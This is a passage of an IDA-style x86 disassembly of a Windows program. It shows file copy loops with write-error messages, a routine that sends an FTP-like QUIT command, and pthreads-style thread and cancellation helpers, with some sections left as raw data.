loc_42F7EA:				; CODE XREF: sub_42F6F0+11Fj
		mov	eax, [esp+14h+arg_C]
		push	eax
		push	esi
		push	edi
		call	sub_402216
		add	esp, 0Ch
		cmp	eax, esi
		jl	short loc_42F813
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp	; fread
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jg	short loc_42F7EA
		jmp	short loc_42F883
; ---------------------------------------------------------------------------


loc_42F813:				; CODE XREF: sub_42F6F0+10Bj
		push	eax
		push	esi
		push	offset aShortWritePass ; "short	write: passed %d, wrote	%d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		mov	[esp+14h+var_4], 0
		jmp	short loc_42F883
; ---------------------------------------------------------------------------


loc_42F82D:				; CODE XREF: sub_42F6F0+DAj
		mov	ecx, [esp+14h+arg_C]
		push	ecx
		push	2000h
		push	edi
		call	sub_40226B
		add	esp, 0Ch
		cmp	eax, ebp
		jle	short loc_42F883
		mov	esi, dword_511AA0


loc_42F84A:				; CODE XREF: sub_42F6F0+17Dj
		push	ebx
		push	eax
		push	1
		push	edi
		call	esi	; fwrite
		add	esp, 10h
		test	eax, eax
		jbe	short loc_42F871
		mov	edx, [esp+14h+arg_C]
		push	edx
		push	2000h
		push	edi
		call	sub_40226B
		add	esp, 0Ch
		cmp	eax, ebp
		jg	short loc_42F84A
		jmp	short loc_42F883
; ---------------------------------------------------------------------------


loc_42F871:				; CODE XREF: sub_42F6F0+166j
		push	offset aLocalfileWrite ; "localfile write"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		mov	[esp+14h+var_4], ebp


loc_42F883:				; CODE XREF: sub_42F6F0+F4j
					; sub_42F6F0+121j ...
		push	edi
		nop
		call	near ptr 77C2C21Bh
		push	ebx
		nop
		call	near ptr 77C3EEF6h
		mov	eax, [esp+1Ch+arg_0]
		add	esp, 8
		test	eax, eax
		jz	short loc_42F8A6
		push	ebx
		call	near ptr 77C40AB1h
		nop
		add	esp, 4


loc_42F8A6:				; CODE XREF: sub_42F6F0+1AAj
		mov	eax, [esp+14h+arg_C]
		push	eax
		call	sub_401BEF
		mov	eax, [esp+18h+var_4]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42F6F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F940:				; CODE XREF: ___:004016A9j
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	2
		push	eax
		push	ecx
		push	edx
		call	sub_42F6F0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F970:				; CODE XREF: ___:00401D43j
		sub	esp, 108h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		mov	ebx, [esp+110h]
		push	ebp
		push	esi
		push	edi
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		mov	ebp, 1
		cmp	ecx, 100h
		jbe	short loc_42F9A7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42F9A7:				; CODE XREF: ___:0042F99Aj
		movsx	eax, byte ptr [esp+124h]
		mov	edi, dword_511A6C
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset dword_4474C0
		push	ecx
		call	edi	; sprintf
		mov	esi, [esp+134h]
		lea	edx, [esp+24h]
		push	esi
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42F9E8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42F9E8:				; CODE XREF: ___:0042F9DBj
		push	ebx
		lea	eax, [esp+1Ch]
		push	offset dword_4476C4
		push	eax
		call	edi	; sprintf
		push	esi
		lea	ecx, [esp+28h]
		push	32h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jz	short loc_42FA44
		lea	edx, [esp+10h]
		lea	eax, [esp+14h]
		push	edx
		push	eax
		add	esi, 44h
		push	offset dword_4476BC
		push	esi
		nop
		call	near ptr 77C41B72h
		add	esp, 10h
		cmp	eax, 2
		jnz	short loc_42FA44
		mov	ecx, [esp+120h]
		mov	edx, [esp+10h]
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		mov	[ecx], edx
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42FA44:				; CODE XREF: ___:0042FA07j
					; ___:0042FA28j
		xor	ebp, ebp
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FAA0:				; CODE XREF: ___:004013C0j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	edi
		mov	edi, edx
		mov	ebx, 1
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		jbe	short loc_42FAD0
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FAD0:				; CODE XREF: ___:0042FAC5j
		push	esi
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_4476D0
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	esi, [esp+128h]
		lea	ecx, [esp+18h]
		push	esi
		push	32h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42FB0B
		xor	ebx, ebx
		pop	esi
		mov	eax, ebx
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FB0B:				; CODE XREF: ___:0042FAFBj
		mov	edx, [esp+118h]
		mov	eax, [esp+114h]
		add	esi, 48h
		push	edx
		push	esi
		push	eax
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		mov	eax, ebx
		pop	esi
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FB70	proc near		; CODE XREF: sub_4016B3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch
arg_C		= dword	ptr  10h

		movsx	eax, [esp+arg_8]
		mov	ecx, [esp+arg_C]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	3
		push	ecx
		push	edx
		push	eax
		call	sub_42F6F0
		add	esp, 14h
		retn
sub_42FB70	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FBA0:				; CODE XREF: ___:004016D1j
		movsx	eax, byte ptr [esp+0Ch]
		mov	ecx, [esp+10h]
		mov	edx, [esp+8]
		push	eax
		mov	eax, [esp+8]
		push	4
		push	ecx
		push	edx
		push	eax
		call	sub_42F6F0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FBD0:				; CODE XREF: ___:0040149Cj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42FC69
		mov	ebx, [esp+114h]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42FC69
		mov	esi, dword_511A6C
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_4476E8
		push	eax
		call	esi	; sprintf
		mov	edi, [esp+124h]
		lea	ecx, [esp+18h]
		push	edi
		push	33h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jz	short loc_42FC69
		push	ebx
		lea	edx, [esp+10h]
		push	offset dword_4476DC
		push	edx
		call	esi	; sprintf
		push	edi
		lea	eax, [esp+1Ch]
		push	32h
		push	eax
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FC69:				; CODE XREF: ___:0042FBF1j
					; ___:0042FC0Cj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FCB0:				; CODE XREF: ___:00401C7Bj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42FCD9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FCD9:				; CODE XREF: ___:0042FCD0j
		push	edx
		lea	eax, [esp+4]
		push	offset dword_4476F4
		push	eax
		call	near ptr 77C3F931h
		nop
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FD30	proc near		; CODE XREF: sub_401D66j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+18h]
		test	eax, eax
		jnz	short loc_42FD69
		push	edi
		push	esi
		push	32h
		push	offset aQuit	; "QUIT"
		call	sub_42E490
		mov	eax, [esi+8]
		add	esp, 0Ch
		push	eax
		call	sub_4381FC
; ---------------------------------------------------------------------------
		mov	ecx, [esi+14h]
		mov	edi, dword_511AD0
		push	ecx
		call	edi	; free
		push	esi
		call	edi	; free
		add	esp, 8
		pop	edi


loc_42FD69:				; CODE XREF: sub_42FD30+Aj
		pop	esi
		retn
sub_42FD30	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FD80:				; CODE XREF: ___:004021C1j
		push	edi
		mov	edi, [esp+8]
		test	edi, edi
		jnz	short loc_42FD90
		mov	eax, 16h
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42FD90:				; CODE XREF: ___:0042FD87j
		push	1Ch
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		test	eax, eax
		jnz	short loc_42FDA6
		mov	eax, 0Ch
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42FDA6:				; CODE XREF: ___:0042FD9Dj
		mov	ecx, 1
		mov	dword ptr [eax+8], 0
		mov	dword ptr [eax+0Ch], 0
		mov	dword ptr [eax+10h], 0
		mov	[eax+14h], ecx
		mov	[eax+18h], ecx
		mov	dword ptr [eax], 0C4C0FFEEh
		mov	[edi], eax
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FE00:				; CODE XREF: ___:0040151Ej
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FE19
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FE19:				; CODE XREF: ___:0042FE10j
		mov	eax, [esi]
		mov	dword ptr [eax], 0
		mov	ecx, [esi]
		push	ecx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FE50:				; CODE XREF: ___:004012D5j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		mov	eax, [esp+0Ch]
		jnz	short loc_42FE75
		test	eax, eax
		jz	short loc_42FE75
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+0Ch]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42FE75:				; CODE XREF: ___:0042FE64j
					; ___:0042FE68j
		mov	dword ptr [eax], 1
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FEA0:				; CODE XREF: ___:004013ACj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FEB9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FEB9:				; CODE XREF: ___:0042FEB0j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_42FECD
		cmp	eax, 1
		jz	short loc_42FECD
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FECD:				; CODE XREF: ___:0042FEBFj
					; ___:0042FEC4j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+0Ch], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FEF0:				; CODE XREF: ___:00401519j
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FF10:				; CODE XREF: ___:00401834j
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FF30:				; CODE XREF: ___:00401348j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FF49
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FF49:				; CODE XREF: ___:0042FF40j
		mov	eax, [esi]
		mov	edx, [esp+0Ch]
		pop	esi
		mov	ecx, [eax+8]
		xor	eax, eax
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FF70:				; CODE XREF: ___:00402207j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FF89
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FF89:				; CODE XREF: ___:0042FF80j
		mov	eax, [esi]
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	[eax+8], ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FFB0:				; CODE XREF: ___:004019B0j
		mov	eax, [esp+4]
		mov	ecx, [eax]
		mov	eax, [esp+8]
		mov	edx, [ecx+18h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FFE0:				; CODE XREF: ___:004019ABj
		mov	eax, [esp+8]
		sub	eax, 0
		jz	short loc_430002
		dec	eax
		jz	short loc_42FFF2
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_42FFF2:				; CODE XREF: ___:0042FFEAj
		mov	eax, [esp+4]
		mov	ecx, [eax]
		xor	eax, eax
		mov	dword ptr [ecx+18h], 1
		retn
; ---------------------------------------------------------------------------


loc_430002:				; CODE XREF: ___:0042FFE7j
		mov	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430020:				; CODE XREF: ___:00401C1Cj
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		test	ebx, ebx
		jz	loc_4300BB
		mov	edi, [esp+18h]
		test	edi, edi
		jz	loc_4300BB
		push	18h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_4300B2
		mov	eax, [esp+14h]	; DATA XREF: ___:off_444E90o
		test	eax, eax
		jz	short loc_430060
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_430060
		mov	eax, [eax]
		jmp	short loc_430062
; ---------------------------------------------------------------------------


loc_430060:				; CODE XREF: ___:00430054j
					; ___:0043005Aj
		xor	eax, eax


loc_430062:				; CODE XREF: ___:0043005Ej
		mov	[esi+4], edi
		mov	[esi], edi
		lea	edi, [esi+10h]
		push	0
		push	eax
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+8], 0
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4300A8
		push	eax
		mov	eax, [esi+0Ch]
		lea	ecx, [esi+14h]
		push	eax
		push	ecx
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_43009F
		mov	[ebx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43009F:				; CODE XREF: ___:00430097j
		push	edi
		call	sub_401690
		add	esp, 4


loc_4300A8:				; CODE XREF: ___:00430082j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_4300B2:				; CODE XREF: ___:0043004Cj
		pop	edi
		pop	esi
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4300BB:				; CODE XREF: ___:00430029j
					; ___:00430035j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430100:				; CODE XREF: ___:0040220Cj
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch]
		push	esi
		test	ebp, ebp
		push	edi
		jz	short loc_430168
		mov	esi, [ebp+0]
		test	esi, esi
		jz	short loc_430168
		lea	ebx, [esi+10h]
		mov	dword ptr [ebp+0], 0
		push	ebx
		call	sub_401690
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_43015E
		lea	eax, [esi+14h]
		push	eax
		call	sub_401690
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_43014F
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43014F:				; CODE XREF: ___:0043013Cj
		mov	ecx, [esi+0Ch]
		push	0
		push	ecx
		push	ebx
		call	sub_401C8A
		add	esp, 0Ch


loc_43015E:				; CODE XREF: ___:0043012Aj
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430168:				; CODE XREF: ___:0043010Aj
					; ___:00430111j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4301A0:				; CODE XREF: ___:004017A3j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	loc_430254
		mov	esi, [eax]
		test	esi, esi
		jz	loc_430254
		push	ebp
		lea	ebp, [esi+8]
		push	edi
		push	esi
		mov	edi, [ebp+0]
		nop
		call	near ptr 27908AFh
		test	eax, eax
		jnz	short loc_4301E7
		mov	eax, [esi+4]
		cmp	eax, 1
		mov	[esi], eax
		jbe	short loc_430234
		dec	eax
		push	eax
		lea	eax, [esi+edi*4+10h]
		push	eax
		call	sub_402068
		add	esp, 8
		mov	esi, eax
		jmp	short loc_430230
; ---------------------------------------------------------------------------


loc_4301E7:				; CODE XREF: ___:004301C8j
		push	ebx
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	ecx, [eax+34h]
		mov	ebx, 1
		cmp	ecx, ebx
		jnz	short loc_43020B
		lea	ecx, [esp+14h]
		push	ecx
		push	ebx
		call	sub_401415
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jz	short loc_43020D


loc_43020B:				; CODE XREF: ___:004301F7j
		xor	ebx, ebx


loc_43020D:				; CODE XREF: ___:00430209j
		lea	edx, [esi+edi*4+10h]
		push	edx
		call	sub_401041
		add	esp, 4
		mov	esi, eax
		test	ebx, ebx
		pop	ebx
		jz	short loc_430230
		mov	eax, [esp+10h]
		push	0
		push	eax
		call	sub_401415
; ---------------------------------------------------------------------------
		add	esp, 8


loc_430230:				; CODE XREF: ___:004301E5j
					; ___:0043021Fj
		test	esi, esi
		jnz	short loc_43024E


loc_430234:				; CODE XREF: ___:004301D2j
		mov	ecx, 1
		push	edi
		sub	ecx, edi
		push	ecx
		push	ebp
		call	dword_5103C8	; InterlockedCompareExchange
		xor	edx, edx
		cmp	edi, eax
		setnz	dl
		dec	edx
		mov	esi, edx


loc_43024E:				; CODE XREF: ___:00430232j
		pop	edi
		mov	eax, esi
		pop	ebp
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430254:				; CODE XREF: ___:004301A7j
					; ___:004301B1j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430290:				; CODE XREF: ___:00401F6Ej
		push	esi
		push	4
		push	1
		xor	esi, esi
		call	near ptr 77C2C0C3h
		nop
		add	esp, 8
		test	eax, eax
		jnz	short loc_4302B3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4302B3:				; CODE XREF: ___:004302A2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4302E0:				; CODE XREF: ___:00401A87j
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_430301
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_430301
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430301:				; CODE XREF: ___:004302E9j
					; ___:004302EFj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430320:				; CODE XREF: ___:0040127Bj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43033D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43033D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_43033D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_43033D:				; CODE XREF: ___:00430326j
					; ___:0043032Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430360:				; CODE XREF: ___:00401636j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43038A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_43038A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_43037E
		test	eax, eax
		jnz	short loc_43038A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_43037E:				; CODE XREF: ___:00430375j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_43038A:				; CODE XREF: ___:00430366j
					; ___:0043036Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4303A0	proc near		; CODE XREF: sub_401415j
		push	esi
		push	edi
		call	sub_4012E4
sub_4303A0	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h
		dd 0E8532C5Eh, 0FFFD1E84h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889304Eh, 7E89FF85h,	8B3E7530h, 0C0853446h, 568B3775h
		dd 90525738h, 3601FFE8h, 75C08502h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	90000000h, 360334E8h, 0B4E85302h
		dd 6AFFFD0Ch, 19D7E802h, 0C483FFFDh, 0A4E85308h, 83FFFD0Ch
		dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h,	0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_430460:				; CODE XREF: ___:00402261j
		push	ebx
		push	esi
		call	sub_4012E4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h
		dd 0E8572C7Eh, 0FFFD1DC4h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889344Eh, 8930468Bh,	0C085345Eh, 0DB853B75h,	568B3775h
		dd 90525338h, 36013FE8h, 75C08502h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	90000000h, 360274E8h, 0F4E85702h
		dd 6AFFFD0Bh, 1917E802h, 0C483FFFDh, 0E4E85708h, 83FFFD0Bh
		dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h,	0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430520	proc near		; CODE XREF: sub_401D02j
		push	esi
		push	edi
		call	sub_4012E4
sub_430520	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 2C7E8DF0h, 1D16E857h, 0C483FFFDh, 74F68504h,	307E8334h
		dd 8B2E7401h, 6A3846h, 0A2E850h, 85900236h, 571E75C0h
		dd 30C46C7h, 0C7000000h, 13046h, 60E80000h, 6AFFFD0Bh
		dd 1883E802h, 0C483FFFDh, 50E85708h, 83FFFD0Bh,	5E5F04C4h
		dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_4305A0:				; CODE XREF: ___:00401D39j
		sub	esp, 2D0h
		push	esi
		mov	esi, [esp+2D8h]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		mov	[esp+4], eax
		test	eax, eax
		jnz	loc_4306D9
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4305DB
		mov	eax, 0Ch
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_4305DB:				; CODE XREF: ___:004305CCj
		push	ebx
		push	ebp
		push	edi
		push	eax
		push	esi
		call	sub_401A64
		lea	ebx, [esi+2Ch]
		mov	edi, eax
		push	ebx
		call	sub_402248
		mov	eax, [esi+34h]
		add	esp, 0Ch
		test	eax, eax
		mov	ebp, 3
		jnz	loc_4306B2
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	loc_4306B2
		cmp	[esi+0Ch], ebp
		jge	loc_4306C5
		test	edi, edi
		jz	short loc_430644
		push	ebx
		mov	[esi+0Ch], ebp
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		mov	eax, [esp+18h]
		add	esp, 8
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_430644:				; CODE XREF: ___:00430619j
		mov	edi, [esi+4]
		push	edi
		nop
		call	near ptr 27809F6h
		push	0
		push	edi
		nop
		call	near ptr 27905ECh
		cmp	eax, 102h
		jnz	short loc_4306D2
		lea	eax, [esp+14h]
		mov	[esi+0Ch], ebp
		push	eax
		push	edi
		mov	dword ptr [esi+30h], 1
		mov	dword ptr [esp+1Ch], 10001h
		nop
		call	near ptr 2780C8Eh
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+0CCh], offset loc_430750
		push	ecx
		push	edi
		nop
		call	near ptr 2790000h
		push	ebx
		call	sub_4010C3
		add	esp, 4
		push	edi
		call	near ptr 2790203h
		nop
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_4306B2:				; CODE XREF: ___:004305FDj
					; ___:00430608j
		cmp	[esi+0Ch], ebp
		jge	short loc_4306C5
		mov	edx, [esi+38h]
		push	edx
		nop
		call	near ptr 27903E2h
		test	eax, eax
		jnz	short loc_4306C9


loc_4306C5:				; CODE XREF: ___:00430611j
					; ___:004306B5j
		mov	[esp+10h], ebp


loc_4306C9:				; CODE XREF: ___:004306C3j
		push	ebx
		call	sub_4010C3
		add	esp, 4


loc_4306D2:				; CODE XREF: ___:0043065Cj
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx


loc_4306D9:				; CODE XREF: ___:004305BFj
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430750:				; DATA XREF: ___:00430680o
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
